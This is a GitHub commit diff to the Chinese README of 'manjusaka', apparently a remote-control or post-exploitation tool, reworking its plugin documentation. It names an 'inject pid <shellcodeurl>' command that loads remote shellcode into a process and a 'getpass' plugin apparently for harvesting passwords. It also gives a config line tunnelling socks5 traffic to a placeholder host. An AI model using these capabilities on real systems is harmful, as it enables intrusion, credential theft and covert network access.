Skip to content

Commit fde31bb

Browse files
author
ydhcui
committed
Update README.md
1 parent 5766b2a commit fde31bb

File tree

1 file changed

+20
-13
lines changed

1 file changed

+20
-13
lines changed

README.md

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -116,7 +116,26 @@ inject 注入进程 eg: inject pid <shellcodeurl> shellcodeurl
116116
![](https://github.com/YDHCUI/manjusaka/blob/main/images/8.png)
117117

118118

119-
4、插件系统 生成dll/so插件, 以plug_name_nps.dll格式命名放到plugins文件夹下面 即可动态调用
119+
4、插件系统 分为第三方程序的调用和内置插件
120+
121+
插件可在conf中配置默认启动参数,示例中有一个getpass插件 默认参数为all
122+
```
123+
[plug.getpass]
124+
args = "all"
125+
126+
```
127+
128+
第三方程序的调用 比如现在我想将doglite作为插件启动
129+
130+
则需要将doglite命名为plug_doglite_nps.exe放入plugins文件夹并在conf中配置参数如下
131+
```
132+
[plug.doglite]
133+
args = "-service xx.xx.xx.xx:xx -action socks5 -local :40004 -r"
134+
```
135+
在信息页点选该插件运行,或在命令行输入 start doglite 即可启动该插件。
136+
137+
内置插件,生成dll/so插件, 以plug_name_nps.dll格式命名放到plugins文件夹下面 在命令行输入 pl getpass 即可动态调用
138+
120139
插件开发示例, plugmain传入插件运行参数 传出返回的内容值
121140
```rust
122141
//./Cargo.toml
@@ -204,18 +223,6 @@ message PlugResult {
204223
205224
```
206225

207-
插件可在conf中配置默认启动参数,示例中有一个getpass插件 默认参数为all
208-
```
209-
[plug.getpass]
210-
args = "all"
211-
212-
```
213-
比如现在我想将doglite作为插件启动 则需要将doglite命名为plug_doglite_nps.exe放入plugins文件夹并在conf中配置参数如下
214-
```
215-
[plug.doglite]
216-
args = "-service xx.xx.xx.xx:xx -action socks5 -local :40004 -r"
217-
```
218-
在信息页点选该插件运行,或在命令行输入 start doglite 即可启动该插件。
219226

220227

221228
## 更新

0 commit comments

Comments
 (0)